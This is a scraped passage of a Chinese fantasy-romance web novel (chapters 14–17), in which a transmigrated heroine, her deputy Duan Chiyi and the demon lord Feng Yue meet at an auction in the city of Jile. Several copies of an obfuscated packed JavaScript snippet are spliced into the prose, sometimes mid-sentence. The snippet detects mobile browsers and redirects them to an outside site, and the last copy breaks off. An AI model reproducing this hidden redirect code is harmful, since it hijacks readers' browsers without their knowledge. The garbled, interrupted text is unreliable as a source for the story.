“我今天杀了两只鬼,五只妖,后院门口的阵法碎了,重画了一个。” 语气是一如既往的淡漠,每个字却都像是在痛斥她们的坐享其成。 说完,他一抬手,剑身带血,剑光凌厉。 黎落和穗穗齐齐一抖。 然而面前人只是随意一挥,长剑便稳稳归剑入鞘。 但他没有收力,挂在墙上的剑鞘晃了两晃,终究是没能坚持住,连剑带鞘一起坠地。 黎落看了看地上那剑,道: “其实你要是喜欢这把剑的话,就拿走吧,我送你了。” 段迟意面无表情: “阁主真大方。” 黎落:“……” 段迟意目光在穗穗抱着她胳膊的手上划过,刀子一样。 虽未开口,但穗穗早已暗中和他较量过多次,知道自己打不过他,老老实实变回毛球跑了。 段迟意神色稍霁。 黎落无语。 她本就精疲力尽,如今穗穗跑了也好,她便不用想法子骗人了。 但段迟意没有走。 他站在原地思索片刻,忽然问道: “只要是女身,就能和你一起睡吗?” 黎落:“?” 她还没反应过来,便见面前人身形和样貌有了变化。 段迟意正在一点点变成冯月婵的样子! 与此同时,系统正在她耳边念到: “女主在门口守夜,听得屋内娇喘声不止,那道往日让她心动不已的男声,此刻正低沉沙哑地念着别的女人的名字,她的心便如同一片片碎掉那样疼……” 她头痛欲裂,忍不住喊了一声: “闭嘴!” 段迟意的动作顿住。 他没想到她会这么生气。 但下一秒,意识到自己在做什么后,他像是被人浇了一头冷水一样,忽然就冷静了下来。 段迟意迅速恢复了本来的样子,并为自己莫名其妙的怒意感到茫然。 为什么? 看到穗穗在黎落床上的时候,他为什么要不高兴呢? 他有什么立场不高兴呢? 他来当这个所谓的副阁主,不过是因为无法从黎落体内取出魔魂,又担心她被魔魂夺舍害人,所以需要亲自看着她而已。 是因为之前的相处,以及黎落不设防的相处,让他觉得,自己已经可以和她成为朋友了吗? 朋友…… 真是奇怪的东西。 他是破妄剑主,仙门首徒,对他而言,朋友和名字样貌一样,都是不重要的。 他只需要以“珩亦仙君”的身份,握剑,斩魔。 而不是浪费时间在“扮演认真负责的副阁主”上。 至于介意穗穗…… 一定是因为这东西善恶难辨,极易干扰黎落体内的魔魂。 他必须确保黎落体内的魔魂稳定。 段迟意这样想着,寒冰如同坚不可摧的屏障,一点点爬上他的身躯,将他整个人密实地包裹起来,又恢复了他们还不曾熟悉时,那个淡漠冷静的模样。 “抱歉,是我冒犯了。” 黎落反应过来,急忙解释道: “我不是说你,我是说……哎呀,我……” 她一时不知道该怎么说,颓唐地垂下了头。 难道说系统在她脑子里念恶心人的虐女小黄书? 到底谁会相信啊! 黎落暗自抓狂。 段迟意神色不变:“无事。” 他转身就要离开。 黎落忽然叫他名字: “段迟意!” 这名字像有魔力一样,让他纵使心静如水,也忍不住回头。 黎落和冯府那天晚上一样,睁着一双琥珀似的眼睛,抱着被子,伸手拍拍床边: “你能陪我聊天吗?” 段迟意想拒绝:“我……” 黎落望着他,眼里满是请求: “我睡不着,不跟人聊天的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320427|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我又头疼又无聊。” 她声音里全是疲惫和委屈。 段迟意于是发现了她眼下的乌青,快要比眼睛都大了。 也罢,只是一次而已。 他走过来。 黎落给他让出了身位,提醒到: “外套脏。” 段迟意一默。 他本想坐在凳子上,更何况自己如今不是女子模样,怎么能…… 但黎落催他快点,甚至疲惫地打了个哈欠,眼里都溢出了水光,神色怏怏的。 他于是脱掉外套坐在床边,与她保持着一定距离。 黎落没有在意。 她急需找个人帮她分担被迫听小黄书的痛苦。 穗穗是个孩子,不能听这些。 相比之下,段迟意真是再合适不过了。 系统念道: “女主心痛不已,胳膊上的伤口还涂着魔君送的伤药……” 黎落转述: “就是这个女主角,她喜欢一个男的,但是她不知道这个男的喜不喜欢她,因为这个男的,一会儿对她好一会儿对她不好。” 段迟意:“……” 黎落又不说话了,顶着乌青的眼眶看着他。 段迟意:“……有多好,又有多不好?” 黎落于是回答他: “好的话……送了她一瓶伤药?不过受伤也是因为他非要人带病工作。” 段迟意:“嗯。” 说到坏的,黎落立马来了劲儿: “至于坏的,那可真是太多了!这男的杀了女主全家不说,他们的第一次见面,这个女主帮男的上药,结果这个男的见色起意啊,一下子抓住人不放了。” “后来这男的把女主朋友全家都杀了,又受伤的时候,女主又遇见他了,还帮他疗伤。结果这个男的为了报答女主,竟然强行让人去他家当丫鬟!” 段迟意蹙眉:“这女子……如此倒霉。” 黎落重重点头,恨不得和他握个手: “你说的太对了。而且还不止呢,女主当丫鬟的时候,这男的每天都跟不同的女人睡觉,还要她在门口听着,什么嬉笑打闹喘息啊,没完没了的,也不怕肾虚……” 段迟意听不下去了: “你从哪儿听来的故事?污言秽语不成体统。” 黎落扯出一个苦笑: “就……到处都能听到啊,这是畅销书。” 段迟意露出不能理解的表情。 “女主暗自神伤,再也无法听下去。她一个人默默回了房,一夜无眠。” 系统说完这句话后,彻底安静了下去。 看来原书剧情里,今夜女主回房后就没有新进展了。 脑子里的声音停下,黎落紧绷着的神情瞬间放松。 她声音低低的,困顿和疲惫一下子涌了上来,又打了个哈欠,语气轻得像在呢喃: “暂时没了,预知后事如何,且听下回分解。” 段迟意忍不住笑了一下。 等他再看向黎落的时候,发现她已经靠着床头睡着了。 脖子以一个扭曲的角度歪到一边,明天或许会疼。 他伸出手,扶着她后颈,想将她挪到枕头上。 睡着的黎落忽然动了动。 指腹上传来柔软细腻的触感,软软的头发勾着他的指尖,像拢着一朵没有重量的云。 段迟意动作和呼吸齐齐停住,右手垫在黎落脑后,保持着俯身的姿势观察她。 她呼吸平稳,并未醒来。 段迟意微不可查地松了一口气,小心翼翼将自己的手抽出来。 黎落一挨到枕头便舒服地左右蹭了蹭,将自己的头发弄乱后,又整个人不自觉朝着被子里钻,最后彻底昏睡过去。 15. 第 15 章 魔宫。 一女子轻袍缓带,踩着地上紫红交织的地毯,缓缓走到最上首座椅旁。 薄纱一层层落下,露出的肌肤弯出勾人的弧度。 一双柔荑按在男人肩头,柔弱无骨般,缓缓朝下滑动…… 女子的声音也更加柔情似水: “君上……” 娇媚的声音蓦得被人掐灭在喉咙里。 封樾掐住来人的脖子,低沉的嗓音透出残忍意味: “谁让你进来的?” 那衣衫清凉的魔族女子当即吓得瑟瑟发抖: “君上恕罪,奴……奴只是……” 下一秒,她整个人飞了出去,直直砸到魔宫主殿中央的柱子上。 封樾单手按住额头,狭长的眸子漫上血色,胸口剑伤被动作扯开,魔气混着寒气,始终难以痊愈。 破妄剑…… 仙门珩亦…… 他在心里念着这几个字,眼中血色更浓。 两天之内接连败于同一人剑下,甚至在寺庙封印那日,若非珩亦忽然收剑离开,他只怕要被对方追到魔界门口—— 他堂堂魔君,如何丢的起这个人! 封樾头痛更甚,魔气冲撞之下,殿内器物稀里哗啦碎了一地。 而更让他生气的是…… 绕了这么大一圈,他竟然连魔魂的边都没能摸到! 冯府中那盖着盖头的女子究竟是何人,竟能当着他的面抢走魔魂? 魔魂怎会弃他于不顾,反和一弱小女子离开? 莫非这世上,还有比他魔气更强盛之人? 忽然,封樾的目光落到了一旁的紫玉蟾蜍身上。 这东西确实是个宝贝,尤其是一双眼睛,赤红玉石做底,其中嵌了骨伞的燃烧后的残渣,看起来便像玉质不够纯粹一样。 骨伞,那是魔尊沧宿的武器…… 冯府虽是一窝有眼不识珠的蠢货,将如此珍贵的东西落到了一个小小胭脂鬼的手中。 但府中却并非全然没有好东西。 他眼前飘过了一张秋水芙蓉般的面孔。 封樾不自觉摩挲起了指间,感觉那细腻滑嫩的触感尚在,被她打过的左脸竟也热了起来。 “黎、落……” 他一字一顿念着这个名字,眼神越发玩味起来。 “君上可是又头疼了?” 秦如霜听到声响赶来,一眼便看到地上躺着的衣衫单薄的女子,眼里露出鄙夷厌恶的神色。 她身后跟着的碧衣女子不等她说便已经明了,藤蔓迅速将地上那人拖了出去。 秦如霜这才转向上首坐着的魔君,如同没看到地上血迹一样,款款走到封樾身边。 她拿出一块碧色玉石,术法催动,盈盈雾气自上生发,封樾的紧皱的眉头松缓下来。 秦如霜收起玉石,涂着丹蔻的指尖放在封樾的太阳穴上,姿态熟练地揉按起来。 她语调温柔,却带着几分戾气: “君上何必为这些垃圾头疼,若是不喜欢,扔去喂魔兽便罢了。” 封樾收回思绪,享受着温香软玉的按摩,一边道: “若非有你常常催动渡魂玉,助本君压下魔魂反噬,本君只怕早被沧宿夺舍了。” 他朝后一靠,做出亲昵姿态: “你为本君费心了。” 秦如霜因他的靠近而满面生春,语气一下子变得娇俏: “君上何必说这些见外的话!秦家素来以君上为尊,秦家秘宝自然也该为君上分忧,再说了,我……” 封樾闻言,故意调笑道: “你如何?” “君上……” 秦如霜被他逗得有些羞涩,放下按在他太阳穴上的手,抱怨道: “君上明知故问!” 封樾脸上笑意更深,他伸手拉住身后女子的手,眼神温柔缱绻: “能见如霜露出这般小儿女情态,本君这伤,竟也不算白受了!” “君上!” 秦如霜闻言,伸手按在封樾唇上:“不可胡说!” 封樾眸光一动。 他凤眸锁住面前女子,抬手,将松松按在唇上的柔荑圈住,一点点细吻过去,羞得秦如霜一下子站立不稳,似水般融化下去,整个人缓缓倒在他怀中。 封樾亲吻着身下已经软成一摊水的秦如霜,眼前却不由得浮现出另一双眼睛。 琥珀似的,嬉笑怒骂皆是灵动,偏又长了一副勾人的妩媚躯壳,叫人恨不得咬上一口尝尝咸淡。 可惜……叫人跑了。 * 云苍阁中。 黎落正艰难地给自己梳头。 她把自己的头发睡得乱糟糟,梳开都废了好大功夫。 本想随便扎起来算了,然而穗穗又抱出来好大一盒首饰,目光灼灼地盯着她。 黎落只好放下梳子,学习怎么将这些价值不菲的首饰塞到头发里。 “啊,好烦。” 第无数次把头发缠成鸡窝以后,黎落挫败地放下梳子: “要不然还是低调点吧。” 穗穗蹲在一边看着她: “杀人越货怎么可以低调唔……?” 察觉到段迟意靠近的黎落一把捂住穗穗的嘴。 梳子和簪子落到地上,赤金珠翠缠绕在一起,和黎落头顶的头发一样。 一双修长白净的手将落在地上的东西捡起来。 段迟意的目光从她蓬乱的头发上扫过,看向镜子里的黎落,神色平静,仿佛没有听见穗穗的话: “需要帮忙吗?” “需要。” 黎落急忙点头。 她将一撮头发举高,对段迟意道: “你捏着这里,对,没错,然后从左边绕过去——” 段迟意依言照做。 他指节修长又灵活,飞快将左边的发髻挽了起来。 黎落一边左右观察镜子里的自己,一边对照着书上的图案,眉头仍没有舒展: “怎么感觉和右边不太对称呢?” 但是段迟意将左边梳得太完美,她舍不得拆,只能上手扯右边的头发。 段迟意按住她“动作残暴”的手。 “把书给我看看。” 他说。 黎落将书举起来,确保他站着也能看见。 段迟意一只手还捏着她的头发,腾出另一只手飞快将书翻了两下。 然后他微微颔首:“可以了。” 黎落将书放回去,一脸期待着看着镜子。 段迟意迅速将她乱七八糟的头发梳顺,灵巧地挽了个髻。 他两手一左一右将黎落不停乱动的头扶正,而后目光移向桌面,垂眸在铺开的发饰中挑选合适的。 黎落挑出一根银白细长的簪子递给他。 虽然和她的衣服发型都不太搭,但是胜在簪头尖细,捅人十分合适。 段迟意动作一顿,没有接。 他兀自在桌子上拿了一根粉白带花瓣流苏的,动作干脆利落地像是收剑入鞘,将簪子插进发髻里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320428|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宛如一朵鲜花落在她发髻上,人比花娇。 黎落见他没有采纳自己的提议,反手将银簪收到了自己袖子里。 段迟意将她的动作尽收眼底。 他垂眸后退一步: “好了。” “谢谢你!” 黎落立马从他让出的缝隙中蹿了出去。 穗穗正蹲在角落给黎落装淬金石。 三个乾坤袋满满当当,她探头朝袋子里看了看,还觉得不够,又从自己肚子里掏了一大堆淬金石出来。 黎落双手接过,和她一起往乾坤袋里装。 短期内挖了太多淬金石的穗穗小脸瘦了一圈,但仍没有停下挖石头的手。 眼看好好一个矿脉要被掏空了,段迟意忍不住走过去: “你们要将整个极乐楼买下来吗?” 穗穗抬头: “极乐楼赏宝大会有多烧钱,你这种贫穷灵妖是想不到的。” 段迟意:“……呵。” 黎落打圆场: “钱多了更放心嘛。” 她扭头看段迟意: “我后来又想了想,那把剑太普通了,配不上你,这次去极乐都的赏宝大会,我带够淬金石,一定送你一把绝世宝剑。” 段迟意也想对她冷笑一声,但张口却是一句: “什么样的绝世宝剑?” 说完他便有些后悔。 这样顺着黎落的话问下去,倒显得他十分期待的样子。 “我知道!” 穗穗昂头挺胸: “若论绝世宝剑,当以仙门破妄剑为首。此剑以仙门诸多大能灵力所铸,是斩妖除魔的利刃——” 说完,她意识到现在屋子里的三个人,一个是魔族云苍阁阁主,一个是灵妖,连自己都是正邪不分的矿脉灵物。 夸破妄剑,似乎是在“长他人志气灭自己威风”。 于是穗穗又说: “不过这剑要求太多,这么多年,也就仙门首徒珩亦仙君能用。” “为什么?” 黎落忍不住好奇。 这是她第二次听说“珩亦”的名字了。 一次是在冯府,封樾对那蒙面的剑修所说; 还有一次……她怎么都想不起来。 穗穗道: “破妄剑上诸多大能灵力,本就是道枷锁。其剑主必得经寒冰域数百年封禁,断念绝意,方才有机会驾驭这剑。” 段迟意试图打断两人的对话: “……该走了。” 黎落正听到兴头上,哪里愿意停下,继续问道: “寒冰域又是什么东西?” 穗穗: “地狱一样的东西。人在里面跟死了没什么两样,又冷又可怕的,很少有人能活着出来。” “这些年只有一个珩亦破冰而出,其他人都做了寒冰的养料了。” 黎落震惊: “天呐,仙门不是自诩正道,怎会如此残忍?” 段迟意拉她胳膊: “阁主,真的该走了。” 黎落推开他的手: “你别催。” 她从穗穗手里接过满满当当的乾坤袋: “看来仙门这个珩亦仙君,还真是相当厉害啊。” 穗穗想赞同,但是身为矿脉灵物的骄傲让她没法说出口,只道: “也就那样吧,没名字没身份的剑鞘而已,比我们差远了。” 段迟意已经将抱着一堆乾坤袋的黎落塞进了马车里。 16. 第 16 章 这马车并非是普通的人族马车,而是伪装成马车外形的载人法器。 以淬金石做燃料驱动,内部宽敞平稳,相较于其他法器,舒服了不止一点半点。 寻常人根本负担不起运行此法器需要的淬金石,但这不是独占矿脉的云苍阁阁主需要考虑的事情。 黎落只是在认真回忆:“珩亦”的名字到底还在哪出现过。 似乎是极为重要的地方。 段迟意看她自上车后就拧眉沉思一言不发的样子,忍不住问道: “珩亦……有什么值得你如此沉思的?” 黎落收回思绪,摇了摇头,道: “只是觉得不太好罢了。” 段迟意:“哪里不好?” 他本以为黎落又要说出什么嘲讽仙门和“珩亦”的话,然而她却说: “好好的一个人,被抹去身份和名字,又被冰封那么多年,只是为了一把剑,这样的人生,难道不惨吗?” 黎落撇嘴: “我这人,自私短视,眼里没有什么非我不可的大义,更何况……” 她的表情一瞬间变得莫测,而后很快恢复正常: “反正,我只想过好属于我自己的这辈子,谁也不能从我手里夺走它。” 段迟意垂眸,长睫如同密不透风的墙: “可有的人,生来就是为这把剑而活的。他没得选。” 忽然,脸颊传来热乎乎的触感。 黎落双手捧着他的脸,像在审视自己的宝贝: “珩亦没得选,但你有啊。” “亲爱的副阁主,莫不是因为同样喜欢用剑,所以共情了?” 她摇头,满脸不赞同: “不要为不相干的人落寞消沉,我们只需要过好自己的人生。” 簪子上的流苏因着她摇头的动作撞在一起,奏出轻快和谐的乐章。 “我已经想好了,我一定要送你一把,比破妄剑更好的剑!” 段迟意的目光不由得被那晃动的流苏吸引。 他挑选发饰的时候倒是没有发现,这簪子在黎落发中,坠着的流苏竟能舞出如此漂亮的弧度。 段迟意收回视线,缓缓眨了眨眼睛。 他的脸被黎落捧在手里,又黑又冷的眸子直勾勾地盯着她看。 看她精致小巧的唇,弯出浅笑的弧度;淡如山水、却格外动人的眉眼; 棕色的瞳孔里面映出他的脸,背后是盛得满满当当满的浮光。 好像他这个人,真的落进了这光里似的。 “这世上真的有剑,比破妄剑更好吗?” 他轻声问道,语速缓慢,像是不抱希望的叹息,又像是充满期待的呢喃。 “当然有!” 黎落笃定道。 她觉得段迟意的话是在质疑她的能力和穗穗的矿脉。 “你就等着吧。” 她夸下海口,并决定抽空从系统嘴里探探消息,打听清楚原著设定里最厉害的剑是什么。 马车一停,极乐都到了。 黎落收回了捧着段迟意脸颊的手,将一个满满当当的乾坤袋抛至空中,又用手稳稳接住。 淬金石在袋子里碰撞,发出悦耳动听的摩擦声。 黎落脸上露出满意的笑。 满当当的钱袋子果然给人无限的底气,古人诚不我欺。 * 极乐都。 人界与鬼界重叠的都城。 极乐之都,白日行人,夜间渡鬼,而人鬼难分也。 此地鱼龙混杂,人鬼妖魔混合其中,相较于云苍城中互不相干的冷漠风俗,极乐都则更为简单——黑吃黑,无秩序。 这样的规则往往能吸引来不少亡命之徒。 大家在此恣意妄为,欲望交织,构成了一个危险但迷人的极乐之都。 而极乐都中最为热闹的地方,当属极乐楼。 “极乐楼这地方,你若想做正经买卖,财帛器物随你挑选,只要钱财管够。” 引人入内的小厮躬身,身后墙上映出晦暗的影子: “你若想要人命,只要价钱出的起,也随你开口。不过嘛……” 小厮垂着脸皮一笑,墙上那影子便如同活过来一般,裂开血盆大口,几乎要将来人吞噬: “买家与货物,从来没有定数。入楼者,生死自负。” 来这里的都不是什么良善之辈,自然不会被这两句恐吓轻易吓到。 至多是拧笑着扔下一句“谁敢买我的命”之类的狠话。 唯独今日到此的貌美女子一脸惊喜,仿佛听见了什么好消息: “随我开口?真的谁的命都行吗?” 虽然她看起来是人族,但极乐楼小厮目光何等毒辣,一眼便看出她身上隐约带着魔气,只怕与魔族有关。 她身侧的男子亦望之不俗,容颜俊逸,气质清冷,叫人一时难以分辨他的来历和实力。 素来叫人一眼看不出底细的人,往往才是最不能招惹的人。 而他们到此所乘坐的法器更是千金难换,驱动该法器需要的淬金石则堪称天价。 此二人总是不是魔族,只怕地位不凡。 极乐楼的小厮眼光何等毒辣,立时便知道这二人不可轻慢,姿态恭敬地将两人引到三楼包间。 面对黎落的问题,他自然道: “随您开口。” 段迟意自觉开始检查屋内安全,并在桌子上摆了黎落喜欢吃的糕点。 黎落则坐到软垫上,招手示意小厮靠近些。 小厮疑惑上前,听得她红唇轻启,吐出一句惊世骇俗的话: “魔君封樾,能杀吗?” 小厮十分震惊。 倒不只是因为面前这魔族女子的胆大包天,而是因为魔君封樾此时就在极乐楼里,甚至就在这间包厢的正对面。 所幸极乐楼隔音做的极好,此刻两边也都管拉着帘子,不至于因为这句话当场闹起来,搅了即将开始的拍卖。 小厮一时愣住,不敢接这话茬。 反倒是面前女子蓦得一笑,顿时如春风化雨,明珠透亮,直叫满室生香。 “我开玩笑的,你紧张什么?” 黎落顶着这张绝世柔弱“小白花”的脸,甜笑着说出这样的话,便是极乐楼的小厮向来谨慎,此刻也忍不住按下疑虑。 “赏宝大会共分三场,压轴之宝会在最后一场展示,祝两位贵客得偿所愿。” 堂下鼓声起,拍卖开始了。 * 正对面的包厢中。 封樾斜倚在美人塌上。 秦如霜脸上挂着不满: “云苍阁什么意思?什么叫没钱了?” 那回话的魔族十分战战兢兢: “回禀圣女,云苍阁连门都没让我们进去,只说阁主外出……” “废物!” 秦如霜怒斥: “云苍阁乃魔族治下,他一个小小阁主,胆大包天,竟敢将魔君都不放在眼里了吗?” 她身后绿衣女子闻言道: “圣女息怒,听闻云苍阁阁主前些日子换了人,或许是那种守财的,不知道魔君的厉害。” “哼。” 秦如霜冷哼一声,倒真没再骂下去。 那绿衣女子趁机示意回话的魔族下去。 秦如霜拧眉转向封樾: “外面皆传,极乐楼第三日的压轴之宝乃是骨伞,君上这才与我特意赶来。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324088|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说着,她语气明显焦急起来: “可如今几番催促,那云苍阁就是不送淬金石来,万一这骨伞落入仙门手中……” 封樾握住她的手,调笑道: “如霜莫不是责怪本君态度不诚?本君分明是为了如霜库房添宝,这才特意赶来的。” 秦如霜脸一下红了: “君上又在玩笑!” 她扭头看了一眼绿衣女子,对方识相地低头退下。 绿衣女子出门,等在门口的魔族便立即上来道谢: “多谢程姑娘为属下说话。” 程韵微微颔首: “举手之劳而已,不比言谢。” 她瞳孔与寻常人不同,其间一道墨绿之色格外显眼。 藤妖一族多为此态。 那魔族见程韵如此和善,忍不住多说了几句: “程姑娘虽为妖族,但也非普通小妖,为何只跟着圣女做个侍女?毕竟圣女的脾性……并不算和善。” 他说的委婉,但彼此心知肚明,秦如霜的脾气何止是“不够和善”,简直难以忍受。 便是程韵自己也常常被辱骂责打。 但程韵面上仍挂着温和的笑: “能得圣女青眼,是我的福气。” 那魔族自讨没趣,便不再多说。 包厢内,封樾嘴角噙着一切尽在掌握之中的微笑,安抚道: “如霜莫急,极乐楼只认淬金石不认灵石,仙门那些个穷鬼,只靠着四处搜罗的零散淬金石,如何与你我相争?” 秦如霜闻言露出笑意: “君上深谋远虑。” 封樾拍了拍她的手,示意她朝外看: “如霜不必为本君省钱,堂下宝贝看上哪个,本君都为你取来。” 秦如霜身子一软,靠进他怀中,撒娇道: “君上……” 封樾将她揽着,语气格外温柔: “免得美人又抱怨,本君只顾旁的,忽视了你。” * 黎落刚举起茶杯,便听到系统开始念剧情: “……秦如霜冷脸看着被魔君抱在怀里的女主,暗骂一声‘狐媚’。她故意指着楼下台上的一株灵草,讽刺女主和那无人问津的灵草一样,低贱卑劣。” “女主深知秦如霜便是害死自己父母的元凶,但此刻打不过她,又被魔君揽着挣脱不开,泫然欲泣的模样引得魔君更加心动。” 黎落:“……” 她深吸了一口气。 “魔君享受两个女人为他争风吃醋的样子,秦如霜越生气,他便越要展露出对女主的宠爱,不顾秦如霜的阻拦,高价买下了那株普通的灵草……” 听到这里,黎落蹭地一下坐直,朝楼下看去。 台子上果然摆着一株灵草。 极乐楼这拍卖会有个默认的规矩,第一场为普通货物,第二场为奇兽异物,第三场才是压轴的宝贝。 能在第一场这么早就展示出来的,向来只是些普通的小玩意儿,故而这株灵草要价极低,且无人加价。 黎落指着楼下,看向段迟意,语气有些焦急: “五百淬金石,我要这个。” 段迟意看她神色不大好,什么都没说,直接摇动窗边铃铛。 五百淬金石买这棵普通的灵草,在场所有人都觉得不值当,甚至亏大发了。 但拍卖刚开始,众人的注意力很快便被其他东西吸引。 很快,便有小厮扣门,将灵草恭恭敬敬送到了黎落所在的厢房。 看到灵草的时候,黎落心里的那股烦躁才得到了平息。 她将灵草举起来看了看,忽然问段迟意: “这草值五百淬金石吗?” 17. 第 17 章 黎落举着那棵灵草看着段迟意,脸上的表情称不上友善,甚至有些执拗。 段迟意直觉这问题别有深意。 或许与她情绪不佳有关。 于是段迟意又低头仔细看这灵草。 绿莹莹的,带着水珠,其上灵力附着,但顶多算个中品灵植,甚至极乐楼叫价也不过三十淬金石而已。 他从黎落手中接过这株灵草,试图发现与众不同的地方。 动作小心,神态认真。 黎落便也在桌子对面看着他。 她什么也没说。 无论是段迟意违心地说些“价值不菲”,亦或是直言不讳地说什么“买亏了”,她都不在乎。 反正这里的一切都只是一本书,都是假的。 只有她自己孤零零地、真实地存在着。 黎落兀自坐着,越想越阴郁,俏生生一张脸逐渐变得乌云密布。 忽然,她面前有亮光一闪,把她眼底的阴霾都驱散了。 黎落抬头看去,发现段迟意不知用了什么手段,竟将平平无奇的灵草催开了花。 那花朵晶莹剔透,泛着丝丝寒气,甚至还有积雪落在其上,宛如刚从天山雪顶采摘下来一般。 黎落从没见过这么精致的花,急忙想伸手去摸。 段迟意便将灵草又递还给她。 触手生寒,整株灵草都覆盖了一层霜。 黎落忍不住伸手轻触最上方那银白花瓣。 而后她便惊奇地发现,这花竟是冰凝的。 花苞精致,花瓣分明,甚至连里面的花蕊都是逼真精巧的。 更神奇的是,这朵花并没有夺去灵草的全部光环,而是以一种依附、却又簇拥的姿态绽放着。 灵草蕴含的灵力在花与草上游走,相得益彰。 黎落的目光怔怔落在这花上。 “若得悉心维护,此物价值千金。” 段迟意一字一句道。 黎落闻言笑了起来,看向段迟意: “谢谢。” 然后她低头看向手中这株结了冰花的灵草,弯起眼睛,是发自内心的开心: “现在我也觉得,此物价值不菲。” 她的眸子因为这份开心溢出格外动人的光,捧着灵草和冰花爱不释手的模样,像是捧着稀世珍宝。 发间流苏因为她侧头的动作缠绕在一起,像是把他的心也缠在了一起。 段迟意看在眼里,忍不住直起上半身,伸手,想要替她分开那纠缠不清的流苏—— 黎落抬手,只攥住了他的两根手指。 段迟意伸手的动作却因此而停住了。 他整个人保持着躬身的动作,微微垂眸,看向坐着的、比他矮了许多的黎落,好像一颗心也被她攥在手中似的。 她疑惑地看着他,瞳孔像是一望无际的星辰,里面却是他的倒影。 她眨了眨眼睛,似在真切地困惑。 黛眉细而弯,将那双神采奕奕的眸子压成温和无辜的模样,却总有藏不住的灵动意气从其中跃出。 段迟意的目光不自觉落到了她的唇上。 红色的唇脂压住了原本的颜色,他却清晰地记着,那是格外莹润的粉,似三月桃花瓣。 若黎落不高兴时,那花瓣便会抿到一起,呈现出更加艳丽的色泽…… 段迟意心空了一瞬,他下意识想抽回手,却生生忍住。 “你的流苏……缠起来了。” 他开口,喉结上下滑动,嗓音有些发干。 但好在黎落并未在意。 她蓦地笑开来,带着几分羞赧: “啊,不好意思……谢谢你啊,我没发现。” 然后松开了攥着他的手。 虽没了挟制,段迟意小指与无名指仍不自然地合在一起,仅以其余三指将流苏飞快分开,然后保持着原样收回了手。 黎落又满心欢喜地看着灵草上的花。 段迟意沉默不语,垂下的手无处安放,只觉被黎落攥过的指节一寸寸烫了起来。 她的体温总是比他高上许多,或许是因为她总是活生生的,又或许是因为他在寒冰域中太久,早已不是常人的温度,但…… 那股让人心痒痒的烫意却越发明显了起来。 “你……” 段迟意终于按捺不住开口。 他本想问问黎落,她是否发烧了,否则他怎么会觉得被她碰过的地方如此烫呢? 但黎落闻言抬头,看着他,一双漂亮的眸子忽闪忽闪的,长睫如同飞舞的蝶。 这澄澈的目光一下子叫段迟意卡了壳。 她似乎没有生病。 段迟意迟疑半天,最后却说了句: “我估错了,此物,当是无价。” * 按照原剧情,女主和秦如霜在魔君面前争风吃醋,封樾半是享受、半是为了稳住秦如霜,为她重金拍下了一条“烟锦纱”。 此物飘渺无重量,却传言能挡化神修士一击,乃是不可多得的上品法器。 秦如霜爱不释手。 甚至为了这个宝物,回到魔宫后,封樾还花费了好大一番功夫,才重新哄得女主的原谅。 但现在黎落并不在场,这场争风吃醋的戏码便演不起来。 更何况,她还扣下了云苍阁的钱。 封樾和秦如霜便是想“花钱示爱”,也得掂量掂量自身实力。 黎落一边欣赏着“无价”的灵草,一边听着系统对原书剧情的讲述,全只当听个乐子。 忽然,她听到对面传来的铃铛声,以及一道傲气十足的女声: “五万淬金石。” ——是在她正对面包厢的秦如霜。 黎落探头看去,台上展示的宝物确实是“烟锦纱”。 看来,虽然没有她在一旁干扰,秦如霜还是一眼就看中了这件法器。 黎落勾起嘴角,伸手摇动铃铛: “十万。” 她声音不大,却一下把嘈杂的极乐楼镇住了。 “十万?这人疯了吧?” “烟锦纱再稀有,与淬金石这等珍贵材料相比便显得鸡肋,何至于喊出十万淬金石的高价?” 窃窃私语传到了楼上包厢。 秦如霜一口喊到五万,便是做了势在必得的打算。 谁知,竟还有人敢同她叫板?! 她忍着怒意摇铃: “十万五千。” 话音落,对面包厢跟来一句: “十五万。” 一石激起千层浪,楼下大堂坐着的人瞬间炸了。 谁能想到,不过第一场的宝贝,就被人喊出了“十五万”的高价。 这淬金石个个来之不易,寻常人弄到手第一时间便是融了做原材料。 到底谁有这么大的手笔,轻轻松松就喊了十五万?只为了一件上品防护法器? 十五万淬金石,足够制造出比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 